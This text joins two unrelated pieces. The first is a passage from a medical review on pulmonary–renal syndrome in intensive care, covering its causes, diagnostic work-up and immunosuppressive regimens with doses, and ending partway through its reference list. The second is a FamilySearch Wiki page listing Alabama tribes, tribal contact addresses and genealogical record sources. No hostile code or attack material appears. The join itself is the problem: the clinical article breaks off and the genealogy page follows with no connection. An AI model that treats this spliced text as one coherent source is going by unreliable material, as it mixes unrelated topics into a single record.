The term APS was used initially to characterize patients presenting with the combination of antiphospholipid antibodies and hypercoagulation syndrome. The diagnosis of the disease actually requires the criteria defined in the very informative paper of Levine and colleagues [58]. Antiphospholipid antibodies are heterogeneous, and they target negatively charged phospholipids and serum phospholipid-binding proteins. The antibodies are frequently associated with thrombosis, foetal loss and other clinical manifestations of APS, and are thought to play an important role in the pathogenesis of the syndrome. Antiphospholipid antibodies inhibit activated protein C, antithrombin III and fibrinolysis and upregulate tissue factor activity, thus leading to a procoagulant state [59].
Pulmonary–renal syndrome has been described in the context of acute catastrophic APS, defined as the APS that develops over days or weeks characterized by multiple thromboses in small and large vessels of at least three different organ systems [60]. The kidney is the organ most commonly involved (78%), followed by the lungs (66%), the central nervous system (56%), the heart (50%), and the skin (50%). Acute catastrophic APS results in adult respiratory distress syndrome and in renal failure, leading up to 25% of patients to haemodialysis [60,61].
Thrombotic thrombocytopenic purpura
Pulmonary–renal syndrome has also been described in patients with thrombotic thrombocytopenic purpura [62]. Thrombotic thrombocytopenic purpura is an often-fatal multisystem disease characterized by thrombocytopenia, microangiopathic haemolytic anaemia and ischemic manifestations due to aggregation of platelets in the arterial microcirculation [63].
Recent studies suggest that the insufficiency of a specific plasma metalloprotease responsible for the degradation of von Willebrand factor cleavage protein (ADAMTS-13) is involved in the pathogenesis of many familial and idiopathic cases [64]. In some patients, inhibitory anti-von Willebrand factor cleavage protein antibodies have been detected in serum. Pregnancy, disseminated neoplasms and chemotherapy are considered predisposing factors. The detection of hyaline thrombi in arterioles, venules and capillaries without evidence of vascular inflammation is diagnostic [65-67].
Diffuse alveolar haemorrhage complicating idiopathic pauci-immune glomerulonephritis
The term 'pauci-immune' glomerulonephritis has mainly been used to indicate that no immunoglobulins, immune complexes or complement can be detected in renal biopsy, either by immunofluorescence or by electronic microscopy. Rarely, the course of patients with idiopathic pauci-immune glomerulonephritis may be complicated by DAH [5,6].
Clinical manifestation of Pulmonary–renal syndrome and evaluation of the critically ill patient
Patients with Pulmonary–renal syndrome may require admission to the ICU either because of the disease itself or because of a complication of the treatment [11]. The most frequent diagnoses in patients with Pulmonary–renal syndrome admitted to the ICU are perinuclear ANCA vasculitis, followed by cytoplasmic ANCA vasculitis, Goodpasture's syndrome, systemic lupus erythematosus and catastrophic APS [68-71] (Table 2 and Figure 1). The diagnosis is already known in the majority of those patients admitted to the ICU; the main cause of admission in these patients is infection or adverse drug effects, including severe infectious complications related to the immunosuppressive treatment. More than one-third of the patients treated in ICU settings, however, present with serious renal impairment and adult respiratory distress syndrome of unknown aetiology [70,72].
Table 2. Relative frequencies of conditions contributing to Pulmonary–renal syndrome in the intensive care unit [68-71]
Figure 1. Relative frequencies of conditions contributing to Pulmonary–renal syndrome in the intensive care unit. Relative frequencies of conditions contributing to Pulmonary–renal syndrome in the intensive care unit based on mean values from data on patients' characteristics provided by [69,70] (shown in detail in Table 2). Perinuclear antineutrophil cytoplasmic antibodies (P-ANCA) vasculitis is the most frequent cause of Pulmonary–renal syndrome for patients admitted to the intensive care unit. 'Other' includes systemic lupus erythematosus, catastrophic antiphospholipid syndrome, polyarteritis nodosa, HIV-related vasculitis, cryoglobulinaemic vasculitis and Henoch–Schönlein purpura. C-ANCA, cytoplasmic antineutrophil cytoplasmic antibodies; anti-GBM, antiglomerular basement membrane.
Establishing the diagnosis is a particularly difficult task in patients presenting with pulmonary infiltrates and fever, having no prior disease label and without haemoptysis – a clinical scenario resembling 'pneumonia'. Even though the lack of large prospective trials does not permit strict recommendations, we propose that the possibility of a Pulmonary–renal syndrome should be considered in those patients with bilateral pulmonary infiltrates in the face of the following: falling haemoglobin levels, renal failure necessitating haemodialysis, sinusitis, mononeuritis multiplex, polyarthalgia, severe asthma attack, pericarditis, cerebral ischaemia, purpura or congestive heart failure [69,73]. Furthermore, the treating physician should always bear in mind that Pulmonary–renal syndrome at first presentation may not only mimic pneumonia, but in certain cases could be triggered by pneumonia. Treatment of all these patients should therefore include broad antibiotic cover until further workup is performed [74].
Haemoptysis is the most common clinical manifestation of DAH [5,6]. However, 30–35% of patients may have DAH without evidence of haemoptysis. Breathlessness, cough and low-grade fever may also be present. In about 50% of cases of DAH, patients suffer acute respiratory failure requiring mechanical ventilation [6]. The most common renal manifestation of Pulmonary–renal syndrome is haematuria, proteinuria and active urinary sediment. If left untreated, patients can progress to end-stage renal failure, requiring haemodialysis [17].
Chest roentgenograms and computerized tomography scanning are used to depict DAH. The former may be normal in up to 22% of cases [75]. Common findings include coalescent alveolar infiltrates or consolidations with air bronchogram, and rarely ground glass opacities. The distribution of the infiltrates is mainly perihilar or predominates in the middle and lower pulmonary fields. Complete roentgenographic resolution usually takes 3–4 days (or occasionally even 1 day) provided the haemorrhage has ceased. A persistence of the interstitial pattern may be related to underlying disease or may indicate the presence of primary pulmonary haemosiderosis, a result of indolent chronic or recurrent DAH [76,77]. The presence of a diffuse alveolar pattern with Kerley A, B, C linear shadows denotes other causes such as veno-occlusive disease of the lung, mitral valve stenosis or cardiogenic pulmonary oedema [78]. Urinalysis reveals dysmorphic red cells of glomerular origin, red-cell casts and other cellular and granular casts. Proteinuria is always present, but rarely in the range of nephrotic syndrome [17,18]. In the vast majority of patients, bound urea nitrogen and creatinine levels are elevated, associated with oliguria, hypertension and oedema. A normochromic normocytic anaemia is frequently observed and is more profound than expected from the degree of renal failure [16]. Laboratory findings of Coomb's negative haemolytic anaemia with schistocytes or fragmented red cells on peripheral blood examination in combination with thrombocytopenia and minimal activation of coagulation mechanisms are suggestive of thrombotic thrombocytopenic purpura [63].
All necessary samples such as sputum and blood cultures, as well as serology tests, should be obtained to rule out bacterial infection or viral infection. When Pulmonary–renal syndrome is clinically suspected, the detection in serum of antibodies such as anti-GBM and/or ANCA is of major importance. The use of serology to direct therapeutic decisions may be extremely complicated and should be based on the performance characteristics of the test (sensitivity and specificity) as well as on the pretest probability of the disease. In this regard, ANCA testing can be safely interpreted as 'documentation of the diagnosis' in patients with strong clinical suspicion for pauci-immune crescentic glomerulonephritis; on the contrary, in patients with weak clinical evidence of the disease, a positive result requires further testing while a negative result can be used to exclude such a diagnosis [79].
Anti-GBM antibodies detected using different immunoassays have a sensitivity of 95–100% and a specificity of 90–100% for Goodpasture's syndrome [80-82]. Cytoplasmic ANCA are found in more than 85% of patients with generalized Wegener's granulomatosis and in 60% of patients with the limited form of the disease [83]. Approximately 40–80% of patients with microscopic polyangiitis have ANCA, mainly perinuclear ANCA/MPO ANCA. Positive perinuclear ANCA/MPO ANCA and a negative serological test for hepatitis B are, in general, suggestive of microscopic polyangiitis [84]. Of the patients with Churg–Strauss syndrome, 35–70% have positive perinuclear ANCA/MPO ANCA, while only 10% have positive Pr3 ANCA [85,86].
According to the International Consensus Statement on Testing and Reporting of antineutrophil cytoplasmic antibodies, combining indirect immunofluorescence essays and enzyme immunoassays (ELISAs) for Pr3 and MPO is more accurate than either assay alone [87]. It is important to note, however, that not all patients with ANCA-associated vasculitis will test positive for ANCA, and therefore ANCA are not considered a diagnostic criterion [88]. On the other hand, ANCA have also been detected in several other autoimmune nonvasculitic disorders, such as inflammatory bowel disease, rheumatoid arthritis and autoimmune hepatitis as well as in infectious and neoplastic diseases [89,90].
Bronchoscopy should be performed to rule out infection and to evaluate the presence of DAH. Recovery of haemorrhagic fluid on bronchoalveolar lavage, especially if the sample becomes bloodier from the first to the last suctioned syringe, and acute decrease of the haematocrit coupled with a chest roentgenogram showing multiple coalescent alveolar shadows strongly suggest the diagnosis of DAH [6].
The gold standard for diagnosis of Pulmonary–renal syndrome is pulmonary and/or renal biopsy. Percutaneous renal biopsy is often performed and specimens undergo conventional histopathology and immunofluorescence study [91,92]. When the lung is involved, a surgical or a thoracoscopic lung biopsy may be performed. Tissue should always be processed for additional immunofluorescence and microbiology studies [81].
In the case of Goodpasture's syndrome, anti-GBM antibody deposition on the glomerular and alveolar basement membrane can be detected in renal and/or lung tissue by immunofluorescence as a linear staining along the glomerular and/or the alveolar basement membrane, respectively. In Wegener's granulomatosis, the three major pathologic features on lung biopsy include granuloma, inflammation of the vascular wall (arteriolar, venular or capillary) and areas of geographic necrosis [83,91]. The histologic criteria of Churg–Strauss syndrome include necrotizing vasculitis in affected tissues, eosinophilic tissue infiltration and extravascular granulomas [84].
Critically ill patients are unfortunately high-risk operative candidates for lung or renal biopsy [93]. Although biopsies of other organs (skin, sinus, nerves) can be used, appropriate treatment should be promptly initiated even in the absence of histopathological confirmation to minimize morbidity and mortality in patients with high clinical suspicion of ANCA-associated or anti GBM-associated vasculitis and with a positive ANCA or anti-GBM antibodies result, respectively [14,34]. When initial treatment is initiated (see below), patients should be closely monitored for response to therapy. Improvement of a chest X-ray, of arterial blood gases, of renal function, of neurologic signs and of other signs (such as purpura) is expected to start during the first few days of the initiation of treatment in those patients responding to therapy. Recovery is less common for patients on dialysis, but dialysis can be discontinued in more than one-half of them. When patients deteriorate, the differential diagnosis includes refractory Pulmonary–renal syndrome, drug-adverse effects, infection with sepsis and another underlying disease. In these cases, invasive diagnostic efforts should be performed without further delay and empirical treatment should be reevaluated with a highly expert team of physicians along with the treating doctors [9,10].
Treatment of Pulmonary–renal syndrome in the critically ill patient
Therapy is subdivided into the induction-remission phase and the maintenance phase [94,95]. In the following, treatment for ANCA-associated vasculitides, for Goodpasture's syndrome and for Pulmonary–renal syndrome of variant aetiology will be discussed. It is uncommon that the intensivist treats patients with Pulmonary–renal syndrome in remission, unless drug toxicity and infectious immunosuppressive treatment complications ensue.
ANCA-associated Pulmonary–renal syndrome
Immunosuppression is the cornerstone of treatment in ANCA-associated Pulmonary–renal syndrome. Standard induction-remission regimens include pulse intravenous methylprednisolone (500–1,000 mg) for 3–5 days. As the life-threatening features subside, the dose can then be reduced to 1 mg/kg prednisone (or equivalent) daily for the first month, tapered over the next 3–4 months. Glucocorticoid therapy is combined with cytotoxic agents. Cyclophosphamide is the treatment of choice in critically ill patients with generalized disease, at a dose of 0.5–1 g/m2 administered intravenously as a pulse per month or orally (1–2 mg/kg/day) [87,88]. Severe disease defined by major renal impairment (serum creatinine > 5.7 mg/dl) was recently suggested to be treated with corticosteroids and cyclophosphamide coupled with plasma exchange at least for the first week to increase the likelihood for renal function restoration [96,97]. There are reports suggesting that extracorporeal membrane oxygenation and activated human factor VII may be beneficial in some critically ill patients with DAH [98-100].
With this treatment, approximately 85% of patients achieve remission [94,95]. Transition to maintenance therapy may occur 6–12 months after the initiation of induction therapy or after clinical remission [101]. The maintenance therapy includes low-dose corticosteroids coupled with cytotoxic agents
Relapse will occur in 11–57% of patients in remission. Some relapses are severe, resulting in end-organ damage. Female or black patients and those patients with severe kidney disease, lung disease or upper airway disease and anti-Pr3 serum antibodies are shown to be more resistant to initial treatment [95]. In these cases, the use of alternative agents must be considered. Recent investigation has focused on TNF-α inhibitors, B-cell depletion agents, mycophenolate mofetil, leflunomide and antithymocyte globulin [102-113]. As indicated in Table 3, new agents are shown to be effective in certain cases but are followed by high relapse and complication rates. Most data are preliminary and further studies are needed for definite conclusions.
Table 3. Novel agents for the treatment of Pulmonary–renal syndrome [102-113]
Goodpasture's syndrome
Immunosuppressive treatment should also be urgently initiated in the case of Goodpasture's syndrome. Daily plasma exchange should be started; if tests for anti-GBM antibodies are found to be negative, plasmapheresis is then discontinued. A mean of 14 courses of treatment is usually needed until the anti-GBM antibody titre is normalized. Prompt and aggressive plasmapheresis for ANCA-positive, anti-GBM-positive patients may portend a greater likelihood of renal recovery [11,114].
Systemic lupus erythematosus
DAH due to systemic lupus erythematosus carries a grave prognosis, and lupus nephritis needs immediate immunosuppressive treatment with cyclophosphamide to prevent end-stage renal disease [115]. To avoid the severe side effects of the treatment of systemic lupus erythematosus, including bone marrow suppression, haemorrhagic cystitis, opportunistic infections, malignant diseases and premature gonadal failure, new agents such as mycophenolate mofetil and rituximab are under investigation. Both drugs have led to effective disease remission with low toxicity but with a high relapse rate [116,117].
Acute catastrophic antiphospholipid syndrome
In Pulmonary–renal syndrome related to acute catastrophic APS, the mainstay of therapy is anticoagulation [59].
Thrombotic thrombocytopenic purpura
In cases of Pulmonary–renal syndrome and thrombotic thrombocytopenic purpura, mortality exceeded 90% before the application of plasmapheresis. Today's response to treatment with plasmapheresis reaches 80%. While waiting for plasmapheresis treatment, plasma transfusions are indicated to make up for the inadequate von Willebrand factor cleavage protein [67].
Despite rigorous treatment, almost 66% of patients with small-vessel vasculitis and Pulmonary–renal syndrome will need renal transplantation within less than 4 years of initial presentation. The ICU physician will have to care for patients with end-stage renal disease due to Pulmonary–renal syndrome because of an increased rate of fluid and electrolyte abnormalities, cardiovascular disease, haematological and neurological abnormalities, and bacterial infections. In the post-transplant period, the ICU admission rates for these patients are high and their prognosis remains poor [118].
Conclusion
Pulmonary renal syndrome in the ICU is a life-threatening entity with an acute onset and with a fulminant course if left untreated. Appropriate management of such patients includes early and accurate diagnosis, exclusion of infection, close monitoring and specialized immunosuppressive treatment coupled with plasma exchange in certain cases. Newer immunomodulatory agents could confer life-saving options for refractory disease in the future. Renal transplantation remains the only alternative for patients with Pulmonary–renal syndrome who develop end-stage renal disease.
Abbreviations
anti-GBM = antiglomerular basement membrane; ANCA = antineutrophil cytoplasm antibodies; APS = antiphospholipid syndrome; DAH = diffuse alveolar haemorrhage; ELISA = enzyme-linked immunosorbent assay; ICU = intensive care unit; IL = interleukin; MPO = myeloperoxidase; Pr3 = proteinase 3; TNF = tumour necrosis factor.
Conflicts of interest
The authors declare that they have no competing interests.
Authors' contributions
SAP contributed to the concept, design and drafting of the manuscript. EDM and IK contributed to the drafting of the manuscript. GEK contributed to critically revising the manuscript. AK and ChR contributed to the final approval of the version to be published.
Acknowledgements
The authors would like to express the deepest gratitude to Professor Haralampos M Moutsopoulos, MD, FACP, FRCP(Edin), for his continuous support and invaluable inspiration, as well as for his critical review of the manuscript. This work was supported by the 'Thorax' Foundation
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103. Booth A, Harper L, Hammad T, Bacon P, Griffith M, Levy J, Savage C, Pusey C, Jayne D: Prospective study of TNF alpha blockade with infliximab in antineutrophil cytoplasmic antibody-assocaited systemic vasculitis.
J Am Soc Nephrol 2004, 15:717-721. PubMed Abstract | Publisher Full Text
104. Lamprecht P, Voswinkel J, Lilienthal T, Nolle B, Heller M, Gross WL, Gause A: Effectiveness of TNF-alpha blockade with infliximab in refractory Wegener's granulomatosis.
Rheumatology (Oxford) 2002, 41:1303-1307. PubMed Abstract | Publisher Full Text
105. Wegener's Granulomatosis Etanercept Trial (WGET) Research Group: Etanercept plus standard therapy for Wegener's granulomatosis.
N Engl J Med 2005, 352:351-361. PubMed Abstract | Publisher Full Text
106. Feldman M, Pusey CD: Is there a role for TNF-alpha in anti-neutrophil cytoplasmic antibody-associated vasculitis? Lessons fron other chronic inflammatory diseases.
J Am Soc Nephrol 2006, 17:1243-1252. PubMed Abstract | Publisher Full Text
107. Stasi R, Stipa E, del Poeta GD, Amadori S, Newland AC, Provan D: Long term observation of patients with anti-neutrophil cytoplasmic antibody-associated vasculitis treated with rituximab.
Rheumatology (Oxford) 2006, 45:1432-1436. PubMed Abstract | Publisher Full Text
108. Antoniu SA: Rituximab for refractory Wegener's granulomatosis.
Exp Opin Invest Drugs 2006, 15:1115-1117. PubMed Abstract | Publisher Full Text
109. Nowack R, Gobel U, Klooker P, Hergesell O, Andrassy K, van der Woude FJ: Mycophenolate mofetil for maintenance therapy of Wegener's granulomatosis and microscopic polyangiitis: a pilot study in 11 patients with renal involvement.
J Am Soc Nephrol 1999, 10:1965-1971. PubMed Abstract
110. Langford CA, Talar-Williams C, Sneller MC: Mycophenolate mofetil for remission maintenance in the treatment of Wegener's granulomatosis.
Arthritis Rheum 2004, 51:278-283. PubMed Abstract | Publisher Full Text
111. Koukoulaki M, Jayne DR: Mycophenolate mofetil in anti-neutrophil cytoplasm antibodies-associated systemic vasculitis.
Nephron Clin Pract 2006, 102:c100-c107. PubMed Abstract | Publisher Full Text
112. Metzler C, Fink C, Lamprecht P, Gross WL, Reinhold-Keller E: Maintenance of remission with leflunomide in Wegener's granulomatosis.
Rheumatology (Oxford) 2004, 43:315-320. PubMed Abstract | Publisher Full Text
113. Schmitt WH, Hagen EC, Neumann I, Nowack R, Flores-Suarez LF, van der Woude FJ, European Vasculitis Study Group: Treatment of refractory Wegener's granulomatosis with antithymocyte globulin (ATG): an open study in 15 patients.
Kidney Int 2004, 65:1440-1448. PubMed Abstract | Publisher Full Text
114. Levy JB, Turner AN, Rees AJ, Pusey CD: Long term outcome of antiglomerular basement membrane antibody disease treated with plasma exchange and immunosuppression.
Ann Intern Med 2001, 134:1033-1042. PubMed Abstract
115. Austin HA 3rd, Klippel JH, Balow JE, le Riche NG, Steinberg AD, Plotz PH, Decker JL: Therapy of lupus nephritis. Controlled trial of prednisone and cytotoxic drugs.
N Engl J Med 1986, 314:614-619. PubMed Abstract
116. Ginzler E, Dooley MA, Aranow C, Kim MY, Buyon J, Merrill JT, Petri M, Gilkeson GS, Wallace DJ, Weisman MH, et al.: Mycophenolate mofetil or intravenous cyclophosphamide for lupus nephritis.
N Engl J Med 2005, 353:2219-2228. PubMed Abstract | Publisher Full Text
117. Smith KG, Jones RB, Burns SM, Jayne DR: Long term comparison of rituximab treatment for refractory systemic lupus erythematosus and vasculitis: remission, relapse, and re-treatment.
Arthritis Rheum 2006, 54:2970-2982. PubMed Abstract | Publisher Full Text
118. Candan S, Pirat A, Varol A, Torgay A, Zeyneloglou P, Arslan G: Respiratory problems in renal transplant recipients admitted to intensive care during long-term follow-up.
Transplant Proc 2006, 38:1354-1356. PubMed Abstract | Publisher Full Text
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Indians of AlabamaEdit This Page
From FamilySearch Wiki
Revision as of 15:43, 27 December 2012 by HealeyJE (Talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
United States Alabama American Indian Research Indians of Alabama
The word Alabama is from a Choctaw word meaning "thicket-clearer" or vegetation-gatherers."
Pisatuntema in partial native dress with Choctaw Indian hairstyle in 1909.
Contents
Tribes and Bands of Alabama
The following list of American Indians who have lived in Alabama has been compiled from Hodge's Handbook of American Indians...[1] and from Swanton's The Indian Tribes of North America[2]. Some may simply be variant spellings for the same tribe.
Tribes: Abihka,Alabama, Apalachee, Apalachicola, Atasi, Chatot, Cherokee, Chickasaw, Choctaw, Creek, Eufaula, Fus-hatchee, Hilibi, Hitchiti, Ispokogi, Kan-hatki, Kealedji, Koasati, Kolomi, Mobile, Mukalsa, Muskogee, Napochi, Natchez, Okchai, Okmulgee, Osochi, Pakana, Pawokti, Pilthlako, Sawokli, Shawnee, Taensa, Tohome, Tukabahchee, Tuskegee, Wakokai, Wiwohka, Yamasee, Yuchi.
Bands: Echola Cherokee, Ma-Chis Lower Creek, Mowa Band Choctaw, Principle Creek, Poarch Creek, Star Clan of Muskogee Creek, United Cherokee (Ani-Yum-Wiya Nation).
Cherokee Clans: Wolf, Paint, Deer, Bird, Wild Potato, Long Hair and Blue.
Four of the Five Civilized Tribes are of Alabama: Cherokee, Chickasaw, Choctaw, and Creek. Some of the records unique to the Five Civilized Tribes are now availble on line:
• Commission to the Five Civilized Tribes (Dawes Commission) In 1893 Congress established a commission to exchange Indian tribal lands in the southeastern Unitted States for land allotments to individuals in Oklahoma. More than 250,000 people applied to the commission for enrollment and land. Just over 100,000 were approved. The records include Applicaitons for enrollment, Enrollment cards, and Letter logs. Indexes and images on line:
Fold3 National Archives
• Guion Miller Roll - Easter Cherokee In 1902 the Eastern Cherokee sued the United States to get the funds due then under the treaties of 1835, 1836, and 1845. In 1906, the court awarded more than $1 million to be split among the Eastern Cherokees. There were 45,847 applications filed, representing some 90,000 indivduals.Indexes and Images on line:
Fold 3
National Ardchives (Index)
AccessGenealogy (Index)
Tribes Recognized by the State of Alabama
Poarch Band of Creek Indians (also recognized by the Federal Government)
5811 Jack Springs Road
Atmore, Al 36502
Phone: 1-251-368-9136
Cher-O-Creek Intra Tribal Indians
P.O. Box 717
Dothan, AL 36302
E-Mail: vit_hamilton@yahoo.com
Cherokee of Southeast Alabama,
Cherokee Tribe of Northeast Alabama
113 Parker Drive
Huntsville, Al 35811
Phone: 1-256-858-0191
E-mail: jstanleylong@bellsouth.net
Echota Cherokee Tribe of Alabama
630 County Road1281
Falkville, AL 35622-3346
Phone: 1-256-734-7337
E-Mail: echotacherokeetribeofal@yahoo.com
Langley Band of Chickamogee Cherokee Indians in the Southeastern U.S.,
Mowa Band of Choctaw Indians
1080 Red Fox Road
Mount Vernon, Al 36560
Phone: 1-251-829-5500
E-Mail: framonoweaver@yahoocom
Piqua Shawnee Tribe
3412 Wellford Circle
Birmingham, AL 35226
E-Mail: okema@Live.com
Star Clan of Muskogee Creeks
242 County Road 2254
Troy, AL 36079
Phone: 1-334-399-3612
E-Mail: osahwv@charter.net
United Cherokee Ani-Yun-Wiya Nation (formerly United Cherokee Intertribal)
P.O. Box 754
Guntersville, Al 35976
Phone: 1-256-582-2333
E-Mail: ginawilliamson2099@gmail.com
Ma-Chis Lower Creek Indian Tribe of Alabama
202 North Main
Kinston, Al 36453
Phone:1-334-565-3038
E-Mail: chiefjames@centurytel.net
Cherokees
There are many sources with information about the Cherokees. For example, see:
• Allen, Maud Bliss. Census Records and Cherokee Muster Rolls. Washington, D.C.: n.p., 1935. FHL film 908999 item 2; book 970.3 C424am This source contains the Cherokee census of 1835 of Alabama, Georgia, North Carolina, and Tennessee.
Two publications listing Cherokees east of the Mississippi in 1835 are:
• Tyner, James W. Those Who Cried: The 16,000: A Record of the Individual Cherokees Listed in the United States Official Census of the Cherokee Nation Conducted in 1835. N.p.: Chi-ga-u, 1974. FHL book 970.3 C424tj Non-Cherokee census takers in 1835 made lists of Cherokees in Alabama, Georgia, North Carolina, and Tennessee. There are some errors because they did not understand the native languages. The government defined a person as an Indian if he or she had one-quarter degree of Indian blood. The book is indexed and has excellent maps for that period.
This book provides the name of the head of the household and the number of whites and full-, half-, or quarter-blood Indians in the home. It also shows occupations, number of slaves owned, whether the people read English or Cherokee, and may mention if they owned a home, farm, or mill.
• United States. Bureau of Indian Affairs. Census Roll, 1835, of the Cherokee Indians East of the Mississippi and Index to the Roll, Tennessee, Alabama, North Carolina, Georgia. National Archives Microfilm Publications, T0496. Washington, D.C.: National Archives, 1960. FHL film 833322
A list is available of the Cherokees living in Alabama in 1851:
• Siler, David W. The Eastern Cherokees, A Census of the Cherokee Nation in North Carolina, Tennessee, Alabama and Georgia in 1851. Cottonport, Louisiana: Polyanthus, 1972. FHL book 970.3 C424sd This list contains the names of each person’s father, mother and children, with their ages and relationship (De Kalb, Jackson, and Marshall Counties). An index is included.
For a history of the Cherokees to about 1835, and a map showing the Cherokee towns in the Alabama area, see:
• Malone, Henry Thompson. Cherokees of the Old South: A People in Transition. Athens, Georgia: University of Georgia Press, 1956. FHL book 970.3 C424ma See the maps before the preface. At the end of the book there is a bibliography.
Additional Cherokee Records
• United States. Bureau of Indian Affairs. Cherokee Agency. Records of the Cherokee Agency in Tennessee, 1801–1835. National Archives Microfilm Publications, M0208. Washington, D.C.: National Archives, 1952. FHL films 1024418–31 These records deal with the entire Cherokee Nation. They contain information about passes given to people during 1801 to 1804 allowing them to go through the Cherokee lands. These records also mention claims filed 1816 to 1833 and include the names of Army officers at posts; unauthorized settlements on Indian lands; land office records; and names of traders, settlers, missionaries, chiefs, and members of the tribe. See the introduction at the beginning of the first film to learn about the contents of these records. Many individuals are listed, however there is no index.
• United States. Office of Indian Affairs. Letters Received, 1824–1881; Registers of Letters Received, 1824–1880. National Archives Microfilm Publications, M0018, M0234. Washington, D.C.: National Archives, 1942, 1956. FHL film 1638620 (first of 1088 films) There are letters in this collection pertaining to each of the major tribes, but they are not indexed.
Chickasaw
For a history of the Chickasaw nation, see:
• Malone, James H. The Chickasaw Nation: A Short Sketch of A Noble People. Louisville, Kentucky: John P. Morton, 1922. FHL book 970.3 C432m A map at the end of the book shows the Mississippi and Alabama lands ceded by the Chickasaws in 1835.
Choctaw
A 1831 list of Choctaws in Alabama and Mississippi is in:
• American State Papers: FHL film 1631827 (first of 32 films); fiche 6051323, Legislative and Executive of the Congress of the United States cited under the subheading France (1710–1763) in Alabama Land and Property. Volume Seven, on Family History Library film 944499 item 2, pages 1–140, has the 1831 Armstrong roll of Choctaws owning farms who were entitled to receive land under the Treaty of Dancing Rabbit Creek of 1830. The volume is indexed. These records are like a census, listing head of family, the number of males over 16, number of males and females under 10, number of acres, and location.
Creek
Some published sources with information about the Creek Indians are:
• Snider, Billie Ford. Full Name Indexes, Eastern Creek Indians East of the Mississippi. Pensacola, Florida: Antique Compiling, 1993. FHL fiche 6126087; book 970.3 C861sb This source lists ancestors of the Eastern Creeks living in 1814 and descendants to about 1972. The final chapter contains a detailed history of the Creeks from the 1600s to 1973 and offers suggestions for Eastern Creek Indian ancestral research.
• Stiggins, George. Creek Indian History: A Historical Narrative of the Genealogy, Traditions and Downfall of the Ispocoga or Creek Indian Tribe of Indians. Birmingham, Alabama: Birmingham Public Library Press, 1989. FHL book 970.3 C861s A bibliography is found on pages 166–70.
• Eggleston, George Cary. Red Eagle and the Wars with the Creek Indians. New York: Dodd, Mead and Company Publishers, 1878. Digital version at FamilySearch Books Online - free.
Rolls were prepared in 1832 of the Lower Creeks and the Upper Creeks. They contain the names of principal chiefs and heads of households, where they resided, number of people in the household and whether they owned slaves:
• Abbott, Thomas J. Creek Census of 1832 (Lower Creeks). Laguna Hills, California: Histree, 1987. FHL book 970.3 C861a This is indexed by name.
• Parsons, Benjamin S. Creek Census of 1832 (Upper Creeks). Laguna Hills, California: Histree, 1987. FHL book 970.3 C861pa This is indexed by name.
Agencies of the Bureau of Indian Affairs
Agencies and subagencies were created as administrative offices of the Bureau of Indian Affairs and its predecessors. Their purpose was (and is) to manage Indian affairs with the tribes, to enforce policies, and to assist in maintaining the peace. The names and location of these agencies may have changed, but their purpose remained basically the same. Many of the records of genealogical value were created by these offices.
The following list of agencies that have operated or now exist in Washington has been compiled from Hill's Office of Indian Affairs...[3], Hill's Guide to Records in the National Archives Relating to American Indians[4], and others.
Some Important Historical Events
Most American Indians in Alabama were forced to go to the Indian Territory (now a part of Oklahoma) in the 1830s. A few remained in Alabama.
General histories with information about the events involving the American Indians in Alabama are:
• Pickett, Albert James. History of Alabama and Incidentally of Georgia and Mississippi, From the Earliest Period. Sheffield, Alabama: R.C. Randolph, 1896. FHL film 924406; book 976.1 H2p This book gives a chronological history of the events affecting the American Indians to about 1820.
• Young, Mary Elizabeth. Redskins, Ruffleshirts and Rednecks: Indian Allotments in Alabama and Mississippi 1830–1860. The Civilization of the American Indian Series. Norman. Oklahoma: University of Oklahoma Press, 1961. FHL book 970.1 Y86r This book describes the opening up and sale of Chickasaw, Choctaw, and Creek Indian lands until about the 1840s. An excellent bibliography is found at the end of the book.
Reservations
From the mid-1800s, the official policy of the United States government toward the American Indian was to confine each tribe to a specific parcel of land called a reservation. Agencies were established on or near each reservation. A government representative, usually called an agent (or superintendent) was assigned to each agency. Their duties included maintaining the peace, making payments to the Native Americans based on the stipulations of the treaties with each tribe, and providing a means of communication between the native population and the federal government.
Sometimes, a single agency had jurisdiction over more than one reservation. And sometimes, if the tribal population and land area required it, an agency may have included sub-agencies.
The boundaries of reservations, over time, have changed. Usually, that means the reservations have been reduced in size. Sometimes, especially during the later policy of "termination," the official status of reservations was ended altogether.
The following list of reservations has been compiled from the National Atlas of the United States of America[5], the Omni Gazetteer of the United States of America[6], and other sources. Those reservations named in bold are current federally-recognized reservations, with their associated agency and tribe(s). Others have historically been associated with the state or are not currently recognized by the federal government.
Creek Reservation
Poarch Band of Creek - State, under jurisdition of Choctaw Agency Tribe: Poarch Band of Creek
Map - Alabama- Indian Reservations- Federal Lands and Indian Reservations. by the U.S. Department of Interior and U.S. Geological Survey.
References
Redskins Ruffleshirts and Rednecks-Indian Allotments in Alabama and Mississippi 1830-1860. by Mary Elizabeth Young. C. 1961 University of Oklahoma Pres. Norman, Oklahoma. Library of Congress number: 61-15150. FHL book970.1 Y86r
This book contains maps showing: Location of Creek allotments and original counties of the Creek Cession Land Offerings.
See also
Alabama Military for a list of forts.
Alabama History (calendar) for information on land ceded by the Indians.
Bibliography of Published Books and Articles
• The book Alabama History: An Annotated Bibliography by Lynda W. Brown mentioned in Alabama History contains sections on the American Indian tribes of Alabama
Research Facilities
Family History Library
The Family History Library in Salt Lake City has a large collection of American Indian sources, including:
• Copies of many of the microfilmed records of the National Archives.
• Copies of some records of agencies and other offices, obtained through their own records preservation program.
• A book collection of histories, biographies, guides, etc. for American Indian research.
To determine the full extent of their holdings, search their catalog, using their Keyword Search, Place Search, and Subject Search, looking for names of tribes and offices. Also, many of their holdings are under the Subject Search for:
NATIVE RACES
CHEROKEE INDIANS
CHICKASAW INDIANS
CHOCTAW INDIANS
CREEK INDIANS
Records of American Indians can also be found in the Place Search of the Family History Library Catalog under:
ALABAMA — NATIVE RACES
Major Research Facilities for American Indian Research
National Archives
The National Archives and Records Administration (NARA) is responsible for the preservation of the records of historical importance created by federal offices in the United States of America, including those of the Bureau of Indian Affairs and its predecessor, the Office of Indian Affairs. (Read more...)
Regional Archives of the National Archives and Records Administration (NARA)
Many of the Regional Archives have collected records of the federal offices in their region, including those of the field jurisdictions of the Bureau of Indian Affairs. Some of the field jurisdictions are the superintendencies, agencies, schools, factories and area offices of the Bureau of Indian Affairs.
The Pacific Alaska Regional Archives (NARA) in Seattle has jurisdiction for the preservation of the records of federal offices in Idaho, including those of the Bureau of Indian Affairs.
(Read more...)
References
1. Hodge, Frederick Webb. Handbook of American Indians North of Mexico. Washington D.C.:Smithsonian Institution, Bureau of American Ethnology, Bulletin #30 1907. Available online.
2. Swanton John R. The Indian Tribes of North America. Smithsonian Institution, Bureau of American Ethnology, Bulletin #145 Available online.
